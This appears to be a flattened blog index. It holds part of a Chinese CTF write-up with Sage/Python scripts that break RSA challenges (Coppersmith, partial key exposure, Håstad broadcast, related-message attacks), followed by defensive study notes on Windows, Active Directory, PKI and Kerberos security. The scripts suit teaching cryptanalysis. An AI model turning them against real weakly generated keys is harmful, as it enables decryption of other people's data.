0xa1888c641a05aeb81b3d1686317a86f104791fe1d570a5b11209f45d09ea401d255a70744e7a2d39520e359c23a9f1209ee47f496dbd279e62ee1648b3a277ced8825298274322e0a7a86deea282676310a73b6bb946fc924c34ac6c8784ff559bf9a004c03fb167ef54aaea90ce587f2f3074b40d7f632022ec8fb12e659953Lc=0x93145ece45f416a11e5e9475518f165365456183c361500c2f78aff263028c90f20b7d97205f54e21f3bcc8a556b457889fde3719d0a0f9c9646f3f0d0a1e4bee0f259f023168fe8cc0511848c1635022fcc20b6088084585e2f8055a9d1b1d6bdb228087900bf7c6d42298f8e45c451562c816e2303990834c94e580bf0cbd1Lkbits=72PR.<x> = PolynomialRing(Zmod(n))f = (x + b)^e-cx0 = f.small_roots(X=2^kbits, beta=1)[0]print \"x: %s\" %hex(int(x0)) challenge2123456[+]Generating challenge 2[+]n=0x241ac918f708fff645d3d6e24315e5bb045c02e788c2b7f74b2b83484ce9c0285b6c54d99e2a601a386237d666db2805175e7cc86a733a97aeaab63486133103e30c1dca09741819026bd3ea8d08746d1d38df63c025c1793bdc7e38d194a30b492aadf9e31a6c1240a65db49e061b48f1f2ae949ac9e7e0992ed24f9c01578dL[+]e=65537[+]m=random.getrandbits(512)[+]c=pow(m,e,n)=0x1922e7151c779d6bb554cba6a05858415e74739c36df0bcf169e49ef0e566a4353c51a306036970005f2321d1d104f91a673f40944e830619ed683d8f84eaf26e7a93c4abe1dbd7ca3babf3f4959def0e3d87f7818d54633a790fc74e9fed3c5b5456c21e3f425240f6217b0b14516cb59aa0ce74b83ca17d8cc4a0fbc829fb8L[+]((p>>128)<<128)=0x2c1e75652df018588875c7ab60472abf26a234bc1bfc1b685888fb5ded29ab5b93f5105c1e9b46912368e626777a873200000000000000000000000000000000L p高位已知,低位未知.解题脚本 123456789101112131415n = 0x241ac918f708fff645d3d6e24315e5bb045c02e788c2b7f74b2b83484ce9c0285b6c54d99e2a601a386237d666db2805175e7cc86a733a97aeaab63486133103e30c1dca09741819026bd3ea8d08746d1d38df63c025c1793bdc7e38d194a30b492aadf9e31a6c1240a65db49e061b48f1f2ae949ac9e7e0992ed24f9c01578dLp_fake = 0x2c1e75652df018588875c7ab60472abf26a234bc1bfc1b685888fb5ded29ab5b93f5105c1e9b46912368e626777a873200000000000000000000000000000000L pbits = 1024kbits = 130pbar = p_fake & (2^pbits-2^kbits)print \"upper %d bits (of %d bits) is given\" % (pbits-kbits, pbits) PR.<x> = PolynomialRing(Zmod(n))f = x + pbar x0 = f.small_roots(X=2^kbits, beta=0.4)[0] # find root < 2^kbits with factor >= n^0.3print hex(int(x0 + pbar))# output : 0x2c1e75652df018588875c7ab60472abf26a234bc1bfc1b685888fb5ded29ab5b93f5105c1e9b46912368e626777a87321efe89ec89bdf3e4d9da9a45df22a787L challenge31234567891011[+]Generating challenge 3[+]n=0x51fb3416aa0d71a430157d7c9853602a758e15462e7c08827b04cd3220c427bbb8199ed4f5393dae43f013b68732a685defc17497f0912c886fa780dfacdfbb1461197d95a92a7a74ade874127a61411e14a901382ed3fb9d62c040c0dbaa374b5a4df06481a26da3fca271429ff10a4fc973b1c82553e3c1dd4f2f37dc24b3bL[+]e=3[+]m=random.getrandbits(512)[+]c=pow(m,e,n)=0x3d7e16fd8b0b1afdb4e12594c3d8590f1175800ef07bb275d7a8ad983d0d5d5fd5c6f81efa40f5d10c48bb200f805e679d633ee584748e5feef003e0921dea736ba91eef72f3d591d3a54cd59fd36f61140fdd3fb2e2c028b684e50cbeae4a1f386f6ab35359d46a29996c0f7d9a4a189f1096150496746f064c3cc41cf111b0L[+]d=invmod(e,(p-1)*(q-1))[+]d&((1<<512)-1)=0x17c4b18f1290b6a0886eaa7bf426485a3994c5b71186fe84d5138e18de7e060db57f9580381a917fdfd171bfd159825a7d1e2800e2774f5e4449d17e6723749bL[-]long_to_bytes(m).encode('hex')=d = 0x36a7780f1c08f66d7563a8fdbae2401c4e5eb8d97452b056fcadde216b2d6fd27abbbf38a37b7e742d4ab7cf04cc6f03e9fd64dbaa060c85af51a55ea733fd2017c4b18f1290b6a0886eaa7bf426485a3994c5b71186fe84d5138e18de7e060db57f9580381a917fdfd171bfd159825a7d1e2800e2774f5e4449d17e6723749bL 已知低位的密钥和N。Partial Key Exposure Attack(部分私钥暴露攻击) 123456789101112131415161718192021222324252627282930313233343536373839404142def partial_p(p0, kbits, n): PR.<x> = PolynomialRing(Zmod(n)) nbits = n.nbits() f = 2^kbits*x + p0 f = f.monic() roots = f.small_roots(X=2^(nbits//2-kbits), beta=0.3) # find root < 2^(nbits//2-kbits) with factor >= n^0.3 if roots: x0 = roots[0] p = gcd(2^kbits*x0 + p0, n) return ZZ(p)def find_p(d0, kbits, e, n): X = var('X') for k in xrange(1, e+1): results = solve_mod([e*d0*X - k*X*(n-X+1) + k*n == X], 2^kbits) for x in results: p0 = ZZ(x[0]) p = partial_p(p0, kbits, n) if p: return pif __name__ == '__main__': # n = 0x51fb3416aa0d71a430157d7c9853602a758e15462e7c08827b04cd3220c427bbb8199ed4f5393dae43f013b68732a685defc17497f0912c886fa780dfacdfbb1461197d95a92a7a74ade874127a61411e14a901382ed3fb9d62c040c0dbaa374b5a4df06481a26da3fca271429ff10a4fc973b1c82553e3c1dd4f2f37dc24b3bL e = 3 # d = 0x17c4b18f1290b6a0886eaa7bf426485a3994c5b71186fe84d5138e18de7e060db57f9580381a917fdfd171bfd159825a7d1e2800e2774f5e4449d17e6723749bL n = 57569201048993475052349187244752169754165154575782760003851777813767048953051839288528137121670999884309849815765999616346303792471518639080697166767644957046582385785721102370288806038187956032505761532789716009522131450217010629338000241936036185205038814391205848232364006349213836317806903032515194407739 nbits = n.nbits() kbits = floor(nbits*0.5) print \"kbits : \", kbits d0 = 1244848677959253796774387650148978357579294769878147704641867595620534030329181934099194560059806799908134954814673426128260540575360296026444649631806619 print \"lower %d bits (of %d bits) is given\" % (kbits, nbits) p = find_p(d0, kbits, e, n) print \"found p: %d\" % p q = n//p # print d print inverse_mod(e, (p-1)) challenge412345678910111213141516[+]Generating challenge 4[+]e=3[+]m=random.getrandbits(512)[+]n1=0x4b25bd834da788533ebef06f552bc8230024d1a571226770bd93bad3b202af4de7f680252a61cc423b3143db075196d6c282e71e84a3f3fe582c69c822389ddf76a86f9169334868119a884b8185c4ee559a3540141c785f2a9e1d59e3c828b26fc785ae4b578da073a39000fbaca6f30807a6110079dc64693dd1089835ea0bL[+]c1=pow(m,e,n1)=0x5e6a4b86018060a6c38952cfd450695ca90444c51d4e0de4690dbadd5000f7bb62e752bbd70c27f342792cc669f0d650b0c8e31b233963c32ebc2297d5aae650a8be7ba5a49319cc010ea8333de09fb4ae9e25af4cce79afcaad80263fbb02329dadb49bfb5f87791c9d29e52103f0153a200f7a11b00086c3c7ae6bbc30269L[+]n2=0x2388ddafc70ba72e181857376f3b23bf6b95c5f721a05e5e499caed0ee81a40031223718156752eef2c7535d8d8d0224126975492f8f002ca98d923ba3f05bff14eac24fb35dd50683cadc3ae0fa55ac368ebe5eb4ecfeb48ada4d785d7c64524783ef50a7c599a27b6a2afa9e1c1a41c6aba40dfd316eef4dc6718eba2af1c5L[+]c2=pow(m,e,n2)=0x71c907c67faf78314ff0332a7fe1d23fd6c9d788425affd54b851c805327fe363c340b047b555f356b1d8b6a930cb22a2e2eb3eb492ab4b307bc782c34fe1dfd032a2d838a80fbf8f6990baa4c712bc9f3bcae964806d418301cd25bc35c0d07a3fc24b25ecc527d3bfafaa5c6ffcf171446238925a76039a2aadc557efb871L[+]n3=0x33e9cbd05b84dc1e5d314656c937c2225351bd0573a5d2d8db357db8afb65be91b0362f8c1b9bbaab51c23decfff77cf8160e260c3374c2fd5b69d1a64cdddb5bd6e37e049e4a657d4a239177b9ec23a873ae272861567b8ea000880d0ba8e7f0449de97f955a78e78e7c8a3becbf3adb6825326786d98ecc30d34be67b5be69L[+]c3=pow(m,e,n3)=0x37bf32f9bfd3afc668b2fb4f48ab3e888bbc204eda2dd05af8dc08974698aa7808cb8623ee16cb17ccc9e27de90d283569390f1ea155a645e46a47f4a1c147d139b631219a94ea3fcac314515a112c7e673ddf594482eec00c0ec8c46dbf4bc4532c19a5dcdbc0a1c8882937b5546653e73c047473df8aa350d876c7a62f60fL[-]long_to_bytes(m).encode('hex') 广播攻击 123456789101112131415161718192021222324252627282930313233import gmpy2import libnumdef broadcast(n1, n2 ,n3, c1, c2, c3): n = [n1, n2, n3] C = [c1, c2, c3] N = 1 for i in n: N *= i Ni = [] for i in n: Ni.append(N / i) T = [] for i in xrange(3): T.append(long(gmpy2.invert(Ni[i], n[i]))) X = 0 for i in xrange(3): X += C[i] * Ni[i] * T[i] m3 = X % N m = gmpy2.iroot(m3, 3) return mn1=0x4b25bd834da788533ebef06f552bc8230024d1a571226770bd93bad3b202af4de7f680252a61cc423b3143db075196d6c282e71e84a3f3fe582c69c822389ddf76a86f9169334868119a884b8185c4ee559a3540141c785f2a9e1d59e3c828b26fc785ae4b578da073a39000fbaca6f30807a6110079dc64693dd1089835ea0bLc1=0x5e6a4b86018060a6c38952cfd450695ca90444c51d4e0de4690dbadd5000f7bb62e752bbd70c27f342792cc669f0d650b0c8e31b233963c32ebc2297d5aae650a8be7ba5a49319cc010ea8333de09fb4ae9e25af4cce79afcaad80263fbb02329dadb49bfb5f87791c9d29e52103f0153a200f7a11b00086c3c7ae6bbc30269Ln2=0x2388ddafc70ba72e181857376f3b23bf6b95c5f721a05e5e499caed0ee81a40031223718156752eef2c7535d8d8d0224126975492f8f002ca98d923ba3f05bff14eac24fb35dd50683cadc3ae0fa55ac368ebe5eb4ecfeb48ada4d785d7c64524783ef50a7c599a27b6a2afa9e1c1a41c6aba40dfd316eef4dc6718eba2af1c5Lc2=0x71c907c67faf78314ff0332a7fe1d23fd6c9d788425affd54b851c805327fe363c340b047b555f356b1d8b6a930cb22a2e2eb3eb492ab4b307bc782c34fe1dfd032a2d838a80fbf8f6990baa4c712bc9f3bcae964806d418301cd25bc35c0d07a3fc24b25ecc527d3bfafaa5c6ffcf171446238925a76039a2aadc557efb871Ln3=0x33e9cbd05b84dc1e5d314656c937c2225351bd0573a5d2d8db357db8afb65be91b0362f8c1b9bbaab51c23decfff77cf8160e260c3374c2fd5b69d1a64cdddb5bd6e37e049e4a657d4a239177b9ec23a873ae272861567b8ea000880d0ba8e7f0449de97f955a78e78e7c8a3becbf3adb6825326786d98ecc30d34be67b5be69Lc3=0x37bf32f9bfd3afc668b2fb4f48ab3e888bbc204eda2dd05af8dc08974698aa7808cb8623ee16cb17ccc9e27de90d283569390f1ea155a645e46a47f4a1c147d139b631219a94ea3fcac314515a112c7e673ddf594482eec00c0ec8c46dbf4bc4532c19a5dcdbc0a1c8882937b5546653e73c047473df8aa350d876c7a62f60fLm = broadcast(n1,n2,n3,c1,c2,c3)print m challenge512345678[+]Generating challenge 5[+]n=0x198f61bc7d2977139120b86b739afbd04e82726a7dcf514cc2ad46c7002d2202915ba932364d71b7dd1928fb6861f984d8d9e31e70d0023aca721130e1df2825568a623c8316fd555616d91897a2db5d1df973a1584ed4cfb0f55d910db5ff64a79f061ef71b2362b6c2af8416a5a47094aff428d6c541448df45436ec48f93L[+]e=3[+]m=random.getrandbits(512)[+]c=pow(m,e,n)=0x13a5213f8946b3da1b37a7346f7985ed17329b05c31cc72912e15ab62c2b578f95148f7f2fb3daed063f5517efd9694d8a87792b675715d50d9113baa0bbfb1791f8e551ce5583c3dc31adf37dced9dab4acf3e58a5f3e203b1c971a746de5e9ac0b4d0153538f9392a0ce12250c5597eb23f07b4d7c84a084fc1dd0dee6b1cL[+]x=pow(m+1,e,n)=0xa864c9ffa08edc2d2a380fde218fe07204193c43580ee0a3fd1505e3f60125c3f380fab24bbd344bca174f3b5b09ed271b817cb08fa6087f2b9d2216a1c7782714c50f475b0e3ca8b530ae33f4f4fb72c14ac0331b107d9dfcbbb193ac6946edd01e9cf5cab799a444dd9a49eb5362f6a499fa69540ac1d3dfbb977f57cd8eL 爆破一元二次方程 123456789101112import gmpy2n=0x198f61bc7d2977139120b86b739afbd04e82726a7dcf514cc2ad46c7002d2202915ba932364d71b7dd1928fb6861f984d8d9e31e70d0023aca721130e1df2825568a623c8316fd555616d91897a2db5d1df973a1584ed4cfb0f55d910db5ff64a79f061ef71b2362b6c2af8416a5a47094aff428d6c541448df45436ec48f93Lc1=0x13a5213f8946b3da1b37a7346f7985ed17329b05c31cc72912e15ab62c2b578f95148f7f2fb3daed063f5517efd9694d8a87792b675715d50d9113baa0bbfb1791f8e551ce5583c3dc31adf37dced9dab4acf3e58a5f3e203b1c971a746de5e9ac0b4d0153538f9392a0ce12250c5597eb23f07b4d7c84a084fc1dd0dee6b1cLc2=0xa864c9ffa08edc2d2a380fde218fe07204193c43580ee0a3fd1505e3f60125c3f380fab24bbd344bca174f3b5b09ed271b817cb08fa6087f2b9d2216a1c7782714c50f475b0e3ca8b530ae33f4f4fb72c14ac0331b107d9dfcbbb193ac6946edd01e9cf5cab799a444dd9a49eb5362f6a499fa69540ac1d3dfbb977f57cd8eLe=3for i in range(0,99999): c=1-n*i+(c1-c2) if(9-12*c)>0: if ((gmpy2.iroot(9-12*c,2)[0]-3)%6==0): m=(gmpy2.iroot(9-12*c,2)[0]-3)/6 if pow(m,e,n)==c1: print m challenge612345678[+]Generating challenge 6[+]n=0xbadd260d14ea665b62e7d2e634f20a6382ac369cd44017305b69cf3a2694667ee651acded7085e0757d169b090f29f3f86fec255746674ffa8a6a3e1c9e1861003eb39f82cf74d84cc18e345f60865f998b33fc182a1a4ffa71f5ae48a1b5cb4c5f154b0997dc9b001e441815ce59c6c825f064fdca678858758dc2cebbc4d27L[+]d=random.getrandbits(1024*0.270)[+]e=invmod(d,phin)[+]hex(e)=0x11722b54dd6f3ad9ce81da6f6ecb0acaf2cbc3885841d08b32abc0672d1a7293f9856db8f9407dc05f6f373a2d9246752a7cc7b1b6923f1827adfaeefc811e6e5989cce9f00897cfc1fc57987cce4862b5343bc8e91ddf2bd9e23aea9316a69f28f407cfe324d546a7dde13eb0bd052f694aefe8ec0f5298800277dbab4a33bbL[+]m=random.getrandbits(512)[+]c=pow(m,e,n)=0xe3505f41ec936cf6bd8ae344bfec85746dc7d87a5943b3a7136482dd7b980f68f52c887585d1c7ca099310c4da2f70d4d5345d3641428797030177da6cc0d41e7b28d0abce694157c611697df8d0add3d900c00f778ac3428f341f47ecc4d868c6c5de0724b0c3403296d84f26736aa66f7905d498fa1862ca59e97f8f866cL[-]long_to_bytes(m).encode('hex')= Boneh and Durfee attack. 用这个脚本 https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_durfee.sage","categories":[],"tags":[]},{"title":"操作系统安全","slug":"操作系统安全","date":"2019-05-11T07:30:08.000Z","updated":"2019-05-27T06:22:01.381Z","comments":true,"path":"2019/05/11/操作系统安全/","link":"","permalink":"http://altman.vip/2019/05/11/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8/","excerpt":"0x00 基本概念0.1 信息安全评估标准 TCSEC A :校验级保护,提供低级别手段 B3:安全域,数据隐藏与分层,屏蔽 B2: 结构化内容保护,支持硬件保护 B1:标记安全保护,如System V等 C2:有自主的访问安全性,区分用户 C1:不区分用户,基本的访问控制 D:没有安全性可言,例如MS DOS","text":"0x00 基本概念0.1 信息安全评估标准 TCSEC A :校验级保护,提供低级别手段 B3:安全域,数据隐藏与分层,屏蔽 B2: 结构化内容保护,支持硬件保护 B1:标记安全保护,如System V等 C2:有自主的访问安全性,区分用户 C1:不区分用户,基本的访问控制 D:没有安全性可言,例如MS DOS Windows的C2级别的安全性策略 强制的用户标识和认证 所有用户都必须以唯一的登录标识和密码来鉴别自身 自主控制访问 资源的所有者必须能够控制对资源的访问 可记账性和审核 能够审计所有安全相关事件和个人活动 只有管理员才有权限访问 对象的重用 必须能够保护对象在完成其使命后,不再被其他对象所利用 0.2.windows系统安全概述0.2.1win的安全体系结构 内核模式 (Kernel mode) 内核模式中的代码具有极高的特权,可以直接对硬件进行操作和直接访问所有的内存空间。 用户模式(User mode) 用户模式的代码拥有较低的特权,不能对硬件直接进行访问,内存访问受限。 0.2.2 本地安全授权 LSA LSA负责是所有本地和远程的用户登录生效,生成安全访问令牌 访问令牌:访问令牌是一个二进制的数据包,它描述了用户的访问权限以及用户所属地组。 管理本地安全策略 LSA负责记录安全引用监视器的任何审核消息所产生的事件日志。 0.2.3 安全引用监控器SRM SRM和对象管理器联合起来。实施控制访问策略和审核策略。 SRM在对象句柄创建时进行安全性检查,而并不是在每次访问时进行检查。 ###0.2.4 对象管理器 Object Manager 负责对象的命名,保护,分配和处理 管理的对象包括 目录,文件,设备,符号链接 进程 ,线程 网络共享资源 端口 窗口 每一个资源对象都与一个安全描述符相关联。 0.2.5 系统资源访问过程 0.3 windows的用户和组 用户账户 使用用户名和密码进行标识 SID:账户的关键标识符,所有的内部进程都是用SID识别用户账号。 用户组账户 具有相似工作或资源要求的用户可组成一个用户组。 对资源的存取权限许可分配给一用户组,就是同时分配给该组中的所有成员。 内置用户账号 Aministrator 最高级别的账号,应重命名该账号并设置密码以隐藏它,以免受到攻击。 Guest 保持Guest账号的禁用状态。 内置用户组账号 Administrator:管理员组 USERS:普通用户组 Gusts:来宾用户组 Backup Operatoes:备份操作组,做系统的备份操作 Replicator:复制操作组 *Operators (Print,Accout, Server) Domain:只在域服务器上的组 特殊组(Network,Intrative….) 0.4工作组,域和信任关系0.4.1 工作组 为小型办公系统提供了资源共享功能,使用户可共享其他计算机上的本地资源。 不共享任何用户账户信息和组账户信息,每个系统使用独立的SAM数据库独立验证。 适用于小型环境,不进行集中控制,用户数量增多时,难以管理。 0.4.2 Domain 域是一批具有集中安全授权机构好若干台工作站和成员服务器得计算机集合、 特点 域为用户,组合计算机账户定义了管理边界范围 一个域中的所有用户共享域用户账户数据库和普通的安全策略。 每台计算机不需要提供自己的验证服务。 一旦用户用域验证服务通过验证,就可以在域内访问权限内资源了###0.4.3 信任关系 信任关系是域之间的关系 当域之间建立信任关系后,一个域就可以信任另一个域中的用户访问自己的资源,而又不必在本域拥有这个用户的账户和口令。 信任关系的好处 实现跨域的集中安全验证 支持用户的单一登录 信任关系的种类 单向信任 双向信任 NT的信任关系是单向且不具有传递性,win2000之后默认信任关系是双向且可传递。 0.4.5 域和工作组的对比 域可定义安全管理边界,工作组无集中管理,相互独立。 域中所有用户共享普通的用户账户数据库和安全策略。 工作组中计算机使用本地账户和本地策略。 验证 安全账户数据库 工作组中计算机上的用户账户SAM,使用在登录本机时。当登录到域时用的是域上的用户账户数据库。 验证服务: 域验证时,每台计算机不需要提供自己的验证服务 工作组中登录验证用的是本机的验证服务。 登陆成功访问范围: 域在整个受信任域中访问许可的资源,工作组为本机资源。 0x01 活动目录活动目录提供了完全集成的在windows中的一个安全,分布式,可扩展以及重复的分层目录服务。 winserver AD 域服务的核心价值是提供一套完整的用户身份验证系统,这是一个基础身份验证平台,用户实现单点登录。在此基础上再实现对共享资源和服务的管理及访问。 1.1基础 活动目录是以层次化方式村塾网络资源信息的目录 通过它,组织机构可以有效地对分布式环境的网络对象进行共享和管理。 目录在网络安全方面扮演着中心授权机构的角色,从而使操作系统可以轻松验证用户身份并控制其对网络资源的访问。 1.2 活动目录功能的机制单点登录,全局目录,智能的信息复制,组策略。 1.2.1单点登录(kerberos) ###1.2.2全局目录 默认情况下,全局目录在域森林的初始域控制器上自动创建,该域控制器就成为全局目录服务器。 全局目录是一个域树或者域森林中的所有对象信息的中心仓库。它记录了AD中所有域对象的部分信息,以及架构信息和配置信息的完整副本。 执行关键目录任务:登录和查询。 活动目录保存的信息 域数据 包含该域内所有对象信息,这些信息被复制到该域的每个域控制器(不超出域范围) 架构数据 定义了可在AD中存储哪些对象,属性和操作规则。属于目录林的范畴,在林中的每一个域控制器上存储。 配置数据 定义了复制拓扑与AD配置有关的其他数据,也被复制到森林的所有域控制器。 (若是GC服务器) 为所有的域保存”域数据”的部分副本。 全局目录的任务 在客户登录时,向域控制器提供通用组成员信息 用户登录网络时,必须存在一台全局目录服务器,否则只能登录到本地,例外是域管理员组中的成员。 在客户查询目录信息时: 查询请求首先会发送到最近的全局目录,当查询对象信息不在GC时,服务器才会将查询转至对象所在域。从而实现跨所有域的搜索。 注意 多个GC会减少客服查询的时间,但是会导致网络的复制通信量增加。 推荐在每一个主要站点上设置一台GC。 1.2.3智能的信息复制 通过安装域控制器,可在整个网络环境中创建多分副本。 网络任何地方发生的变化都会在整个网络中自动复制,保证数据一致性。 1.2.4组策略可在不同层次上定义控制规则 1.3活动目录管理的对象 容器对象 可存储其他对象,如域,组织单元,文件夹等。 叶对象 不能存储其他对象,如计算机,用户,文件等。 常见对象 1.3.1 对象标准属性 DN(识别名称)定义了LDAP中到对象的完整路径。 完整路径包括对象名称以及直到域根节点的所有父对象名称,DN标识了域层次中的唯一对象。 RDN(相对识别名称)是DN中属于对象完整路径属性的一部分。 全局唯一标识符(GUID) GUID是对象创建时由活动目录分配的128位数字。每一位对象都具有唯一标示。GUID不能被修改和删除。 主体属性:安全主题名称 安全主体分三类:用户,组,计算机。 在单个域内用来唯一标识用户,计算机或组的名称。 域内必须唯一,域间无需唯一。 安全标识符(SID) SID是Windows系统安全子系统为安全主体对象创建的唯一数字,属于主体属性。 win系统内部进程引用的是账户的SID,而不是账户的用户或者组名。 注意 单一域内 SID,GUID,LDAP都可唯一的标识目录中的每个用户或计算机 当对象被重命名或移到另一个域内 SID,LADP专用名称以及相对专用名称都会改变。GUID不变。 1.4 活动目录组件1.4.1活动目录中资源组织的逻辑结构 组织单位 主要用来委派对用户,组及资源集合的管理权限。组织单位是委派管理权限的最小分组,其特殊在于可连接组策略。 分类组织对象 委派管理控制权 配置组策略 域 同一个域中的计算机共享配置,架构和全局目录 域是网络中复制和安全管理的基本单元 域控制器 域控制器保存了整个域范围内的目录数据,并管理用户域交互。 安装活动目录就能把windows服务器变成域控制器 一个域可以有多个域控制器,一个域控制器只能控制一个域 win2x中域控制器是对等角色;NT中有主域控制器(pdc)和备份域控制器(BDC),只有pdc有目录的可读写副本。 混合模式域和本地模式域 混合模式:既有NT又有win2x域控制器的域(默认安装) 本地模式:只有win2x域控制器的域。 混合模式域升级到本地模式域不可逆 域树 具有连续命名空间的多个域成为树。 目录树中所有域共享相同的配置,架构和全局目录 通常我们将一个企业的总公司和分公司的域配置为树,其中总公司的域称为父域,分公司为子域。 域森林 不构成连续命名空间的域树的集合,这些目录树通过双向的可传递信任关系连接到一起。 AD中建立的第一个域被称为林的根域。 1.4.2 物理结构 站点 是指一个由高速连接所形成的较快通信速率网络。一般指LAN。 主要用于:确定复制拓扑,以便进行有效而快速的复制。 站点链路并不是自动生成的,而是必须用Active Directory Sites And Snap-In工具来创建。 活动目录复制 站点内复制 其中的三个域控制器复制森林的架构数据,配置数据以及具有每个对象完整属性的所有目录对象。 站点间复制 通过桥头堡控制器进行站点间复制。 如果是架构,配置信息每个域控制器都接受,如果是域数据信息,则只有全局目录服务器会接受它的部分副本。 站点间连接 两个或多个站点间的一个低带宽或不可靠连接 站点链接不是自动生成的,必须使用活动目录站点和服务工具来创建。 站点链接可传递。 总结 站点是对网络上计算机的实际的物理分布的客观反映 站点是独立于域的 站点映射网络的物理结构,域映射组织的逻辑结构 网络的物理结构和域结构之间没有必然联系。 活动目录允许在一个站点出现多个域,与允许一个域出现在多个站点中。 1.5活动目录搭建0x02 组策略2.1组策略简介 是管理员针对网络中的用户和计算机所作的一系列设置 计算机和用户是仅有的接受组策略的活动目录对象类型 计算机设置:提供计算机的基本设置 计算机启动时生效,已启动时,域控5分钟,分域控90-120 用户的设置:设置用户的环境 登录时生效,用户已登录,每隔90-120分钟自动应用。 手工强制刷新:gpupdate /force 组策略使管理员可以集中控制用户环境,减轻管理负担 组策略对象(GPO) 它存储了组策略的具体配置,每一个GPO都链接到一个具体的活动目录容器,包括站点,域组织单元。 组策略与活动目录的结合 联合使用,则可实现策略的集中与分散管理,适应从小到大的各种规模。 组策略管理单元提供了管理组策略的自称工具,并提供了MMC管理工具的扩展。 2.2组策略的设置对象 针对站点,域,OU设置组策略 不在域内的可以利用本地组策略管理计算机 2.3组策略应用顺序2.3.1组策略继承 默认情况下,子容器继承父容器的策略设置 子容器设置优于父容器继承下来的设置 2.3.2累加性和相应优先级 组策略默认的处理顺序 本地策略对象 链接在站点上的GPO 链接在域上的GPO 链接在OU上的GPO对象 注意: 排在最后的GPO被最后处理,因此具有最高的优先级。 工作组成员只处理本地组策略对象 默认处理顺序的例外 “禁止替代”选项:防止随后处理的组策略对象覆盖该组策略对象中的策略设置。 如果发生冲突,优先采用在活动目录层次架构中更高层的那一个。 “阻止策略继承”选项 任何一个站点,域或组织单元上,都可以被选择性标记为组织策略继承,来禁止从父目录容器继承组策略。 设置为”禁止替代”的组策略对象链接将始终都会被采用,且不能阻止。 2.3.3 首先处理计算机配置,然后处理用户 组策略对象可以禁止其用户设置或者计算机设置,默认都不禁止。 环回选项 替换模式 用户GPO列表在启动启动时整体被计算的GPO替代 合并模式 计算机GPO添加到用户的GPO列表,计算的GPO具有更高的优先权。 2.4组策略的处理总结 组策略能够从站点,域和最后的组织单元继承而来 应用组策略对象的顺序和级别决定了用户和计算机实际能收到的组策略设置 组策略能够在站点,域,组织单元上被阻塞 组策略本身还能够以非覆盖的方式来强制实施 组策略可以有条件的实施和执行 2.5组策略的实现和管理0x03公钥基础结构PKIPKI是一组组件和规程,用非对称密码算法原理和技术实现的安全基础设施。 3.1 PKI的组件3.1.1核心块证书 认证机构 证书吊销列表 3.1.2 组件1 证书注册机构RA CA委派给注册权威机构RA一些责任 个人认证,令牌分发 吊销报告,名称指定 密钥生成,存储密钥对 多数情况下,RA用于在证书登记过程中核实证书申请者的身份。 3.1.3 组件2 证书颁发机构 CA CA是公钥基础设施中受信任的第三方实体 CA向主体颁发证书 续借和更新证书 CA是信任的起点 第三方信任指两个实体从前没有信任关系,但双方与共同的第三方有信任关系,由此建立起来的信任。 PKI中,第三方就是CA。通常是国家认定的权威机构。 证书将主体公钥和名字等其他信息绑定起来,CA使用它的签名私钥对证书信息进行数字签名。 CA机构的数字签名使得攻击者不能伪造和篡改证书,CA不能否认它签名的证书。 3.1.4 组件3 证书库 目录服务是一个在线存储库,目录服务包含对象的有关信息。 LDAP 轻量级目录访问协议 PKI实现中FTP服务器和Web服务器可以作为存储库 3.1.5 组件4 档案库档案库是一个被用来解决将来争执的信息库,为CA承担长期存储文档信息的责任。 档案的主要任务是存储和保护充足的信息来决定在一份旧的文档中数字签名是可以信任的。 3.1.6 组件5 密钥备份及恢复系统 密钥备份与恢复应由可信机构来完成 密钥的备份与恢复只能针对解密私钥,不能备份签名私钥 3.1.7 组件6 证书吊销 CRL证书在有效期之内由于某些原因可能需要废除。 CRL的数据结构类似于证书 3.1.8 组件7 PKI应用系统接口 pKI的价值在于使用户能够方便地使用加密,数字签名等安全服务 一个完整的PKI必须提供良好的应用接口,使各种应用能够与PKI交互,确保所建立的网络环境的可信性。 3.3 证书的使用及验证0x04 文件系统4.1文件系统基础 机器硬盘,固态硬盘。 基本分区 MBR磁盘 :32位 x86硬盘系统 引导盘的第一个扇区 GPT磁盘 :64位 Itanium处理器 DBR:引导扇区,文件系统的第一个扇区、 MFT文件记录结构 每个记录项分为记录头和属性列表两个部分 记录头里包含了本记录向的总体情况和信息 属性列表列出了该文件的所有属性 4.2NTFS又称文件夹与文件的访问权限。NTFS分为特殊访问和标准访问权限。特殊权限是最小粒度的权限,标准权限是将某些常用的特殊权限配套组成的六种。 权限控制的原则 权限积累 以文件夹为权限的设置对象 拒绝权限优于其他权限 4.3 EFS 基于混合加密机制 EFS机制 提供数据恢复功能 4.3.1加密过程 文件被考到临时文本文件 文件被一个随机生成的key加密 用户公钥对FEK加密,数据解密区生产。 使用恢复代理的公钥对FEK加密,数去恢复区域产生 所有内容被写进磁盘 临时文件删除 4.3.2 DDF以及私钥对FEK解密 FEK解密文件 4.3.3优势基于公钥与文件系统紧密结合的加密技术 操作上完全透明 支持对单个文件或文件夹加解密 提供数据恢复 4.3.4 局限性 增加花费,降低性能 无法检测到病毒 恢复代理影响性能 EFS对一切进程,系统中如有泄密者可将文件传出。 4.4 磁盘配额 作用 避免由于磁盘空间使用的失控可能造成的系统崩溃。 配额是以文件所有权为基础的,不受位置限制。 只适用于卷,且不受卷的文件夹结构以物理磁盘影响。 4.5 数据备份的策略,RAID机制的几种备份机制4.5.1完全备份4.5.2差异备份在一次完全备份后对修改的文件备份。不清除标记。 4.5.3增量备份备份自上一次备份之后有变化的数据。清除标记。 4.6 数据恢复机制0x05身份验证5.1 针对字典,穷举攻击的防范策略操作系统认证过程有一定的时延,增大穷举难度 多重口令。组合口令。 安全策略设定 账号策略,密码策略和kerberos策略 启动口令复杂化 设定账户锁定阈值 启动日志审计功能 禁用无人使用账户,锁定ADMIN账户 在域环境中,账户设置一般在域策略中制定,应用于整个域的所有计算机上。 5.2交互式本地登录,域登录各组件作用5.2.1 winlogon 注册SAS,默认为Ctrl+Alt+Del 加载GINA和身份验证程序包 生成三个桌面 向GINA发送事件通知消息,提供GINA调用的接口函数。 保证操作对其他进程不可见。 5.2.2 GINA动态链接库提供了winlogon用户表示和验证用户的输出函数 5.2.3 网络提供程序的动态链接库提供通过标准协议到其他类型的网络的辅助身份验证功能。 5.3 kerberos用户身份验证服务和票据授予服务kerberos在对称加密基础上,基于可信赖的第三方实现分布式环境下的双向用户实时认证,保证数据的安全传输。 实现用户级身份认证,并通过构造适当票据格式和认证符防止IP地址伪造和重放。 第一 从AS服务器中获取TGT票据 C输入密码,得到Kc,tgs Ticket tgs. 第二 